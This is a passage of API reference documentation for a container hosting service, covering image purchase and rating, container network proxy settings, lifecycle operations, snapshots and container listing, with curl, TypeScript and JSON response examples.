curl -X POST "https://api.hoody.com/api/v1/images/purchase/507f1f77bcf86cd799439021" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.api.images.purchase({
  id: "507f1f77bcf86cd799439021"
});
```


```json
{
  "statusCode": 200,
  "message": "Image purchased successfully",
  "data": {
    "price_paid": 5.99,
    "remaining_balance": 44.01
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Insufficient balance or image already owned"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Image not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to purchase image"
}
```



---

### `POST /api/v1/images/rate/{id}`

Submit a rating (0-5 stars) for a container image. Each call updates the user's existing rating and recomputes the average.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container image to rate |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `rating` | number | Yes | Rating for the image from 0 to 5 stars |



```bash
curl -X POST "https://api.hoody.com/api/v1/images/rate/507f1f77bcf86cd799439021" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "rating": 5
  }'
```


```typescript
const result = await client.api.images.rate({
  id: "507f1f77bcf86cd799439021",
  data: {
    rating: 5
  }
});
```


```json
{
  "statusCode": 200,
  "message": "Image rated successfully",
  "data": {
    "new_rating": 5,
    "average_rating": 4.6,
    "rating_count": 143
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid rating value (must be 0-5)"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Image not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to rate image"
}
```




The `rating` value must be a number between 0 and 5 inclusive. Submitting fractional values is allowed but the server may round or truncate the value before persisting it.

---

# Container Network

**Page:** api/container-network

[Download Raw Markdown](./api/container-network.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Container Network API lets you manage outbound network behavior for individual containers — including configuring proxy profiles, blocking all traffic, starting/stopping the underlying bridge, and inspecting live status. Use these endpoints when you need to route a container through a specific proxy, geo-pin its egress, or cut off its network entirely.

## Get container network configuration

`GET /api/v1/containers/{id}/network`

Returns the current network configuration and runtime status for a container, including the bridge details used to enforce the proxy or block rule.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to retrieve network configuration for |



```bash
curl -X GET "https://api.hoody.com/api/v1/containers/507f1f77bcf86cd799439012/network" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.api.containers.getNetworkConfig({
  id: "507f1f77bcf86cd799439012"
});
```


```json
{
  "statusCode": 200,
  "message": "Network configuration retrieved successfully",
  "data": {
    "container_id": "507f1f77bcf86cd799439012",
    "configured": true,
    "type": "socks5",
    "proxy": "socks5://user:pass@proxy.example.com:1080",
    "country": "US",
    "city": "New York",
    "region": "North America",
    "comment": "Production proxy configuration",
    "dns_servers": ["1.1.1.1", "8.8.8.8"],
    "status": "running",
    "configured_at": "2025-01-15T10:00:00.000Z",
    "last_status_check": "2025-01-15T20:00:00.000Z",
    "remote_status": {
      "is_running": true,
      "last_check": "2025-01-15T20:00:00.000Z",
      "bridge_details": {
        "bridge_name": "br-hoody-507f",
        "bridge_ip": "10.20.0.1",
        "gost_listener_ip": "10.20.0.2",
        "port": 1080
      }
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid container ID format"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Access denied to this container"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to retrieve network configuration"
}
```



## Update container network configuration

`PATCH /api/v1/containers/{id}/network`

Configures or updates the network proxy/blocking settings for a container. The `type` field selects between a proxy protocol (`socks5`, `http`, `https`) and `block`, which drops all egress traffic.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to configure network for |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `type` | string | Yes | Network configuration type. One of: `socks5`, `http`, `https`, `block` |
| `proxy` | string | No | Proxy server URL (required for non-block types, e.g. `socks5://user:pass@proxy.example.com:1080`) |
| `country` | string | No | Optional country for geographical proxy selection |
| `city` | string | No | Optional city for geographical proxy selection |
| `region` | string | No | Optional region for geographical proxy selection |
| `comment` | string | No | Optional comment describing the network configuration |
| `dns_servers` | array | No | Custom DNS servers (max 4, defaults to `["1.1.1.1", "8.8.8.8"]`) |



```bash
curl -X PATCH "https://api.hoody.com/api/v1/containers/507f1f77bcf86cd799439012/network" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "socks5",
    "proxy": "socks5://user:pass@proxy.example.com:1080",
    "country": "US",
    "city": "New York",
    "region": "North America",
    "comment": "Production proxy for US traffic",
    "dns_servers": ["1.1.1.1", "8.8.8.8"]
  }'
```


```typescript
const result = await client.api.containers.updateNetworkConfig({
  id: "507f1f77bcf86cd799439012",
  data: {
    type: "socks5",
    proxy: "socks5://user:pass@proxy.example.com:1080",
    country: "US",
    city: "New York",
    region: "North America",
    comment: "Production proxy for US traffic",
    dns_servers: ["1.1.1.1", "8.8.8.8"]
  }
});
```


```json
{
  "statusCode": 200,
  "message": "Network configuration updated successfully",
  "data": {
    "container_id": "507f1f77bcf86cd799439012",
    "type": "socks5",
    "proxy": "socks5://user:pass@proxy.example.com:1080",
    "country": "US",
    "city": "New York",
    "region": "North America",
    "comment": "Production proxy for US traffic",
    "dns_servers": ["1.1.1.1", "8.8.8.8"],
    "status": "configured",
    "configured_at": "2025-01-15T21:00:00.000Z",
    "bridge_details": {
      "bridge_name": "br-hoody-507f",
      "bridge_ip": "10.20.0.1",
      "gost_listener_ip": "10.20.0.2",
      "port": 1080
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Proxy URL required for non-block type"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Cannot configure network for this container"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to update network configuration"
}
```



## Start container network proxy/blocking

`POST /api/v1/containers/{id}/network/start`

Starts the network proxy or blocking service for a container. The container must already have a network configuration in place before this endpoint can activate it.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to start network for |



```bash
curl -X POST "https://api.hoody.com/api/v1/containers/507f1f77bcf86cd799439012/network/start" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.api.containers.startNetwork({
  id: "507f1f77bcf86cd799439012"
});
```


```json
{
  "statusCode": 200,
  "message": "Network service started successfully",
  "data": {
    "container_id": "507f1f77bcf86cd799439012",
    "status": "running",
    "is_running": true,
    "last_check": "2025-01-15T21:05:00.000Z",
    "bridge_details": {
      "bridge_name": "br-hoody-507f",
      "bridge_ip": "10.20.0.1",
      "gost_listener_ip": "10.20.0.2",
      "port": 1080
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Network not configured for this container"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Cannot start network for this container"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to start network service"
}
```



## Stop container network proxy/blocking

`POST /api/v1/containers/{id}/network/stop`

Stops the network proxy or blocking service for a container. The configuration is preserved and can be re-started later.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to stop network for |



```bash
curl -X POST "https://api.hoody.com/api/v1/containers/507f1f77bcf86cd799439012/network/stop" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.api.containers.stopNetwork({
  id: "507f1f77bcf86cd799439012"
});
```


```json
{
  "statusCode": 200,
  "message": "Network service stopped successfully",
  "data": {
    "container_id": "507f1f77bcf86cd799439012",
    "status": "stopped",
    "is_running": false,
    "last_check": "2025-01-15T21:10:00.000Z",
    "bridge_details": {
      "bridge_name": "br-hoody-507f",
      "bridge_ip": "10.20.0.1",
      "gost_listener_ip": "10.20.0.2",
      "port": 1080
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Network not configured for this container"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Cannot stop network for this container"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to stop network service"
}
```



## Remove container network configuration

`DELETE /api/v1/containers/{id}/network`

Removes the entire network proxy or blocking configuration for a container. After this call the container returns to its default (unfiltered) network behavior.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to remove network configuration from |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/containers/507f1f77bcf86cd799439012/network" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.api.containers.removeNetworkConfig({
  id: "507f1f77bcf86cd799439012"
});
```


```json
{
  "statusCode": 200,
  "message": "Network configuration removed successfully"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid container ID format"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Cannot remove network configuration from this container"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container or network configuration not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to remove network configuration"
}
```




The typical workflow is: call `PATCH` to define the proxy/blocking configuration, then `POST /network/start` to activate it. Use `POST /network/stop` to pause without losing the configuration, and `DELETE` to remove it entirely.

---

# Container Operations & Lifecycle

**Page:** api/container-operations

[Download Raw Markdown](./api/container-operations.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Container Operations & Lifecycle

Manage the runtime state of containers and inspect their transition history. Use these endpoints to start, stop, restart, pause, or resume a container, and to retrieve a paginated audit trail of every status change.

## Get container status logs

`GET /api/v1/containers/{id}/status-logs`

Returns a paginated list of status transition logs for a single container, ordered by transition time by default.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `page` | query | number | No | Page number. Default: `1` |
| `limit` | query | number | No | Number of results per page. Default: `10` |
| `sort_by` | query | string | No | Field to sort by. Default: `"transition_time"`. Allowed: `"transition_time"`, `"created_at"`, `"to_status"`, `"from_status"` |
| `sort_order` | query | string | No | Sort direction. Default: `"desc"`. Allowed: `"asc"`, `"desc"` |

### Response



```json
{
  "statusCode": 200,
  "message": "Container status logs retrieved successfully",
  "data": {
    "logs": [
      {
        "id": "507f1f77bcf86cd799439077",
        "container_id": "507f1f77bcf86cd799439011",
        "from_status": "stopped",
        "to_status": "running",
        "transition_time": "2025-01-15T10:30:00.000Z",
        "duration_ms": 3500,
        "triggered_by": "user",
        "metadata": {
          "command": "start"
        }
      }
    ],
    "pagination": {
      "total": 15,
      "page": 1,
      "limit": 10,
      "totalPages": 2
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |



### SDK usage

```ts
const { data } = await client.api.containers.getStatusLogs({
  id: "507f1f77bcf86cd799439011",
  page: 1,
  limit: 10,
  sort_by: "transition_time",
  sort_order: "desc",
});
```

## Manage container

`POST /api/v1/containers/{id}/{operation}`

Performs a lifecycle operation on a container. The `{operation}` path segment selects the action.


Operations that conflict with the container's current state return a `400` with code `OPERATION_STATE_CONFLICT`. For example, you cannot start a container that is already running, nor pause a container that is stopped.


### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `operation` | path | string | Yes | Lifecycle operation to perform. Allowed: `"start"`, `"stop"`, `"force-stop"`, `"restart"`, `"pause"`, `"resume"` |

This endpoint accepts no request body.

### Response



```json
{
  "statusCode": 200,
  "message": "Container operation completed successfully",
  "data": {
    "error": false,
    "operation": "start",
    "container_id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033",
    "message": "Container started successfully",
    "status": "running"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Container is already running",
  "data": {
    "error": true,
    "operation": "start",
    "container_id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033",
    "message": "Container is already running",
    "status": "running"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `OPERATION_STATE_CONFLICT` | Container State Conflict | The operation cannot be performed because the container is not in the correct state. | Check the container's current status. For example, a container must be stopped to be started. |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |
| `OPERATION_NOT_PERMITTED_ON_EXPIRED` | Operation Not Permitted on Expired Container | This operation cannot be performed because the container has expired due to server termination. | The container is in a read-only state. No further operations are allowed. Please create a new container. |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INTERNAL_SERVER_ERROR` | Internal server error | An unexpected error occurred on the server | Try again later, or contact support if the problem persists |
| `EXTERNAL_SERVICE_ERROR` | External service error | A required external service is unavailable or returned an error | Try again later when the external service is available |



### SDK usage

```ts
const { data } = await client.api.containers.manage({
  operation: "start",
});
```

---

# Container Snapshots

**Page:** api/container-snapshots

[Download Raw Markdown](./api/container-snapshots.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Container Snapshots

Use these endpoints to manage point-in-time snapshots of a container's filesystem. You can create new snapshots with an optional alias and expiry, list existing snapshots, restore a container to a previous snapshot state, update snapshot aliases, and delete snapshots that are no longer needed.

---

### `GET /api/v1/containers/{id}/snapshots`

Get all snapshots for a container.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to retrieve snapshots for |



```bash
curl -X GET "https://api.hoody.com/api/v1/containers/507f1f77bcf86cd799439011/snapshots" \
  -H "Authorization: Bearer <token>"
```


```ts
const { data } = await client.api.containers.listSnapshotsIterator({
  id: "507f1f77bcf86cd799439011"
});
```


```json
{
  "statusCode": 200,
  "message": "Snapshots retrieved successfully",
  "data": {
    "container_id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033",
    "snapshots": [
      {
        "name": "snap-20250115-103000",
        "alias": "backup-2025-01-15",
        "created_at": "2025-01-15T10:30:00.000Z",
        "last_used_at": "2025-01-15T14:00:00.000Z",
        "expires_at": "2025-02-15T10:30:00.000Z",
        "stateful": false,
        "size": 2147483648
      },
      {
        "name": "snap-20250110-080000",
        "alias": "weekly-backup",
        "created_at": "2025-01-10T08:00:00.000Z",
        "last_used_at": null,
        "expires_at": null,
        "stateful": false,
        "size": 1073741824
      }
    ]
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid container ID format"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "You do not have permission to access this container"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```



---

### `POST /api/v1/containers/{id}/snapshots`

Create a new snapshot for a container. You can optionally provide a human-readable alias and an expiry in days.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to create snapshot for |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `alias` | string | No | Optional user-friendly alias for the snapshot (max 100 characters) |
| `expiry` | number | No | Expiry in days |



```bash
curl -X POST "https://api.hoody.com/api/v1/containers/507f1f77bcf86cd799439011/snapshots" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "alias": "pre-deployment-backup",
    "expiry": 30
  }'
```


```ts
const { data } = await client.api.containers.createSnapshot({
  id: "507f1f77bcf86cd799439011",
  data: {
    alias: "pre-deployment-backup",
    expiry: 30
  }
});
```


```json
{
  "statusCode": 200,
  "message": "Snapshot created successfully",
  "data": {
    "container_id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033",
    "snapshot": {
      "name": "snap-20250115-145500",
      "alias": "pre-deployment-backup",
      "created_at": "2025-01-15T14:55:00.000Z",
      "last_used_at": null,
      "expires_at": "2025-02-14T14:55:00.000Z",
      "stateful": false,
      "size": 2147483648
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request payload"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "You do not have permission to create snapshots for this container"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```



---

### `PATCH /api/v1/containers/{id}/snapshots/{name}`

Restore a container from a snapshot. The container's filesystem state is rolled back to the point in time the snapshot was taken.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container to restore |
| `name` | path | string | Yes | Name of the snapshot to restore from |



```bash
curl -X PATCH "https://api.hoody.com/api/v1/containers/507f1f77bcf86cd799439011/snapshots/snap-20250115-103000" \
  -H "Authorization: Bearer <token>"
```


```ts
const { data } = await client.api.containers.restoreSnapshot({
  id: "507f1f77bcf86cd799439011",
  name: "snap-20250115-103000"
});
```


```json
{
  "statusCode": 200,
  "message": "Container restored from snapshot successfully",
  "data": {
    "success": true,
    "message": "Container restored from snapshot successfully",
    "snapshot": {}
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid snapshot name or container ID"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "You do not have permission to restore this container"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container or snapshot not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```



---

### `PATCH /api/v1/containers/{id}/snapshots/{name}/alias`

Update the alias of an existing snapshot. Set the alias to `null` to remove the existing alias.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container |
| `name` | path | string | Yes | Name of the snapshot |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `alias` | string \| null | Yes | New alias for the snapshot (set to null to remove alias; max 100 characters) |



```bash
curl -X PATCH "https://api.hoody.com/api/v1/containers/507f1f77bcf86cd799439011/snapshots/snap-20250115-103000/alias" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "alias": "production-baseline"
  }'
```


```ts
const { data } = await client.api.containers.updateSnapshotAlias({
  id: "507f1f77bcf86cd799439011",
  name: "snap-20250115-103000",
  data: {
    alias: "production-baseline"
  }
});
```


```json
{
  "statusCode": 200,
  "message": "Snapshot alias updated successfully",
  "data": {
    "container_id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033",
    "snapshot": {
      "name": "snap-20250115-103000",
      "alias": "production-baseline",
      "created_at": "2025-01-15T10:30:00.000Z",
      "last_used_at": "2025-01-15T14:00:00.000Z",
      "expires_at": "2025-02-15T10:30:00.000Z",
      "stateful": false,
      "size": 2147483648
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid alias value"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "You do not have permission to update snapshots for this container"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container or snapshot not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```



---

### `DELETE /api/v1/containers/{id}/snapshots/{name}`

Delete a snapshot from a container. This action is irreversible.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container |
| `name` | path | string | Yes | Name of the snapshot to delete |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/containers/507f1f77bcf86cd799439011/snapshots/snap-20250110-080000" \
  -H "Authorization: Bearer <token>"
```


```ts
const { data } = await client.api.containers.deleteSnapshot({
  id: "507f1f77bcf86cd799439011",
  name: "snap-20250110-080000"
});
```


```json
{
  "statusCode": 200,
  "message": "Snapshot deleted successfully",
  "data": {
    "container_id": "507f1f77bcf86cd799439011",
    "project_id": "507f1f77bcf86cd799439033",
    "snapshot_name": "snap-20250110-080000"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid snapshot name or container ID"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "You do not have permission to delete snapshots for this container"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container or snapshot not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```




Deleting a snapshot permanently removes the captured state. The container itself is not affected, but you will no longer be able to restore to that point in time.

---

# Containers

**Page:** api/containers

[Download Raw Markdown](./api/containers.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Containers API provides endpoints for listing, creating, retrieving, updating, authorizing, and deleting container resources across your projects. Use these endpoints to manage container lifecycle, fetch real-time runtime and resource statistics, and issue offline-verifiable authorization claims for container programs.

## List containers

### `GET /api/v1/containers/`

Get all containers across all projects for the current user with pagination, filtering, and sorting. This endpoint provides a global view of all containers without being scoped to a specific project.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `page` | query | number | No | Page number for pagination - starts from 1 |
| `limit` | query | number | No | Number of containers to return per page - maximum 100 items |
| `sort_by` | query | string | No | Field to sort containers by. Allowed values: `id`, `name`, `status`, `created_at`, `updated_at` |
| `sort_order` | query | string | No | Sort direction - ascending or descending. Allowed values: `asc`, `desc` |
| `realm_id` | query | string | No | Filter by realm ID. Only returns containers that belong to this realm. Alternative to using realm subdomain in URL. |
| `runtime` | query | string | No | Include live runtime information. Accepts "true", "false", or a URL-encoded JSON string like `{"displays":true}`. An empty JSON object `{}` fetches all info. Results are cached for 2 seconds to prevent abuse. |
| `include_proxy_domains` | query | string | No | Include proxy domains (aliases) for each container. When true, adds a proxy_domains array to each container object. Allowed values: `true`, `false` |
| `include_prespawn` | query | string | No | Include prespawn containers in the listing. By default, prespawn containers are excluded from results. Allowed values: `true`, `false` |
| `include_expired` | query | string | No | Include containers that have expired due to server termination. By default, expired containers are excluded from results. Allowed values: `true`, `false` |
| `include_deleting` | query | string | No | Include containers currently being deleted. By default, deleting containers are excluded from results. Allowed values: `true`, `false` |
| `include_proxy_permissions` | query | string | No | Include the full proxy-permissions documents (container-level proxy_permissions and parent-project-level project_proxy_permissions) for each container. Returns proxy authentication group configuration including credentials — request only when explicitly needed. Auth tokens additionally require the resources.proxy_aliases permission. |



```bash
curl -X GET "https://api.hoody.icu/api/v1/containers/?page=1&limit=50&sort_by=created_at&sort_order=desc" \
  -H "Authorization: Bearer <token>"
```


```typescript
const containers = await client.api.containers.listIterator({
  page: 1,
  limit: 50,
  sort_by: "created_at",
  sort_order: "desc"
});
```


```json
{
  "statusCode": 200,
  "message": "Containers retrieved successfully",
  "data": {
    "containers": [
      {
        "id": "507f1f77bcf86cd799439011",
        "project_id": "507f1f77bcf86cd799439033",
        "project_alias": "Production Environment",
        "server_id": "507f1f77bcf86cd799439044",
        "server_name": "node-sg-sin-1",
        "subserver_name": "node-sg-sin-1",
        "name": "web-app-1",
        "color": "#3B82F6",
        "container_image": "ubuntu/24.04",
        "ai": true,
        "hoody_kit": true,
        "dev_kit": true,
        "autostart": true,
        "ramdisk": true,
        "prespawn": false,
        "is_default": false,
        "status": "running",
        "environment_vars": {
          "NODE_ENV": "production"
        },
        "volumes": {},
        "ssh_public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...",
        "comment": "Primary web application container",
        "source_container_id": null,
        "server_expired": false,
        "server_expired_at": null,
        "server_expired_reason": null,
        "created_at": "2025-01-15T10:30:00.000Z",
        "updated_at": "2025-01-15T10:30:00.000Z",
        "realm_ids": [],
        "snapshot_count": 3,
        "last_used_snapshot": "backup-2025-01-14",
        "pool_id": null,
        "proxy_domains": [
          {
            "id": "65f1c2a9b8d7e4f3a2b1c0d9",
            "alias": "my-app",
            "program": "webview",
            "index": 0,
            "target_path": null,
            "allow_path_override": false,
            "expires_at": null,
            "enabled": true,
            "created_at": "2025-01-15T10:30:00.000Z",
            "updated_at": "2025-01-15T10:30:00.000Z",
            "url": null
          }
        ]
      }
    ],
    "pagination": {
      "total": 5,
      "page": 1,
      "limit": 50,
      "totalPages": 1
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid parameter value"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_PARAMETER_VALUE` | Invalid parameter value | A parameter value is outside the allowed range or format | Ensure parameter values meet the documented constraints (min/max, format, regex) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

